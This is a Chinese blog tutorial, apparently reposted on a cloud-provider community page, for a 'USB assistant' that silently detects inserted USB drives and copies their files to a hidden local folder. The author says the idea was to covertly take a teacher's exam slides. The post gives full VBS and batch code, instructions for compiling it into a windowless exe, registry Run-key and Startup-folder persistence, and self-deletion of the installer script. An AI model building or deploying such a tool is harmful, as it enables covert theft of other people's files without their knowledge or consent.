後台靜默檢測隨身碟並複製隨身碟內指定檔案到電腦指定目錄(隨身碟助手)__靜默複製隨身碟檔案

來源:互聯網
上載者:User

馬上期末考試了,老師複習課講得PPT是精簡版的,老師說了之前上課的PPT可以給但是這個不可以,如果得到期末必過了。本想著把我這個自己花了3個多小時做的隨身碟助手在教室的電腦上運行著,下課我就可以得到PPT了,但是無奈我如此正義凜然,以及資訊安全的專業我有著極好的專業素養。我還是放棄了做壞事。希望大家也是如此。當然這個隨身碟助手還可以讓你更方便,比如你需要把隨身碟中的某一特定類型的文檔經常複製到電腦,自己手動複製是不是很麻煩。或者經常手動備份隨身碟資料很麻煩,有了它你會更方便。

打包好的代碼及程式

這是網上找的vbs語言寫的,有一定英語能力和vb能力的想必不難看懂,本人沒學過,大致還是可以理解的,但是代碼看著太長,而且需要自己設定隨身碟盤符,複製檔案類型,目錄,顯得有些麻煩。

set fso=createobject("scripting.filesystemobject") set ws=createobject("wscript.shell") dim USB, file, folder, files USB=inputbox("請輸入隨身碟的盤符"&Chr(10)&"如插入的隨身碟為F盤,則輸入F","插入的隨身碟盤符","F") folder=inputbox("請輸入複製到的檔案夾"&Chr(10)&"如想複製到D盤,請輸入D:\","請輸入複製到的檔案夾","C:\USB") files=inputbox("請輸入要複製的檔案類型"&Chr(10)&"如要複製EXCEL檔案,輸入xls;預設為全部類型","請輸入要複製的檔案類型","ALL") USB=USB & ":\" folder=folder & "\" if files="ALL"then file=USB & "*" else file=USB & "*." & files end if if FSO.FolderExists(folder) then else FSO.CreateFolder(folder) end if on error resume next do wscript.sleep 1000 if fso.driveexists(USB) then fso.copyfile file,folder fso.copyfolder file,folder wscript.sleep 20000 end if loop
下面詳細講解我自己寫的bat實現

1、建立一個儲存複製的檔案的檔案夾:

md C:\Upan(我這裡創在了C盤根目錄)
至於這句:
setlocal enabledelayedexpansion
解釋起來太複雜,有篇部落格就是說這個的可以自己搜尋下,這句幾乎是bat下for迴圈必須的語句

2、然後設定要檢測的可移動磁碟(我的可移動磁碟是d):

3、然後用迴圈一直檢測,直到檢測到隨身碟在執行命令: 

for %%a in (!driver!) do (
::此處輸迴圈執行的命令
)

for迴圈用法:for %%變數 in (集) do 命令,變數:(記住如果是在批處理中使用for命令時,變數前的%需改為%%)這個變數名是由單個字母組成且區分大小寫(原協助是這麼說的,實際運用中用單個數字作為變數名試過證明也可行),如%B和%b代表的是不同的變數。集:由系列檔案、字串或由命令產生的內容形成的集合(當然可用萬用字元 * 。,還可引用環境變數),FOR命令是按一定順序和規律分次讀取集中內容,賦值給變數,並執行do後的命令,進行迴圈下一輪,直至集中內容讀取完畢,而括弧是格式必須的(in到後面括弧之間要有空格)。命令大家都知道。

4、如果檢測到隨身碟,則執行複製命令,複製隨身碟中所有的PPT到我們建立的儲存複製的檔案的檔案夾(C:\Upan):

if exist %%a: (xcopy /C /E /Q /K /Y d:\*.ppt C:\Upanexit)
/C 有錯誤也複製,/E 複製目錄和子目錄,包括空目錄,/H 也複製隱藏檔案和系統檔案,/Q 複製時不顯示檔案名稱,/K 複製屬性,/Y 取消提示以確認要覆蓋

5、使用跳躍陳述式goto,如果沒有檢測到隨身碟盤符就跳轉到for迴圈處繼續執行檢測磁碟

::檢測隨身碟是否插入,插入則複製隨身碟中所有檔案到指定盤@echo offmd C:\Upansetlocal enabledelayedexpansion::下面設定好要檢測的盤符,以空格或逗號相隔set "driver=d":startfor %%a in (!driver!) do (if exist %%a: (xcopy /C /E /Q /K /Y d:\*.ppt C:\Upanexit))goto :start
這樣的bat運行是有點沒中不足的,像這樣總是有個黑框挺難看的


下載bat轉exe的軟體如Quick Batch File Compiler,開啟軟體,選擇“開啟”來開啟寫好的bat


然後找到“選項”設定幽靈應用程式,然後點構建,然後設定exe檔案名稱並產生一個exe檔案


,此時運行該exe不會有任何顯示,但是可以在進程列表看到已經運行了


如果你想讓這個程式開機自動運行,可以通過vbs或者bat,或者直接把開機自啟的bat命令添加在上面的檔案按上述步驟完成。

1、VBS指令碼實現

Set ws = CreateObject("Wscript.Shell")ws.run "cmd /c for.bat",vbhide 
把for.bat改為你想要開機自啟動的bat或者exe檔案

2、bat命令獨立實現

1)修改註冊表

copy %0 c:\for.exe,把for.exe複製到C:\

下面那句是修改註冊表索引值,讓C:\for.exe開機自啟動

最後一句是刪除for.exe源檔案

複製下面代碼到建立文字文件,只需要把for.exe改為你的bat檔案名稱或者exe檔案名稱,然後儲存,把文檔名改為xxx.bat運行就可以了

@echo offcopy %0 c:\for.exeREG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v for.exe /t REG_SZ /d c:\for.exe /fdel %0
2)在系統啟動菜單建立捷徑

複製下面代碼到建立文字文件,然後儲存為xxx.bat運行就可以了

@echo offcopy %0 "%userprofile%\「開始」菜單\程式\啟動"del %0
3、把1)的代碼添加到前面bat檔案的第二句(md C:\Upan)後面,注意:1)中的for.exe是指最後要轉換成exe檔案的檔案名稱,如果你要把bat轉換成的exe檔案名稱為隨身碟助手.exe,那就把1)中的所有for.exe改為隨身碟助手.exe即可,或者你可以把產生的exe檔案改為for.exe也可


相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.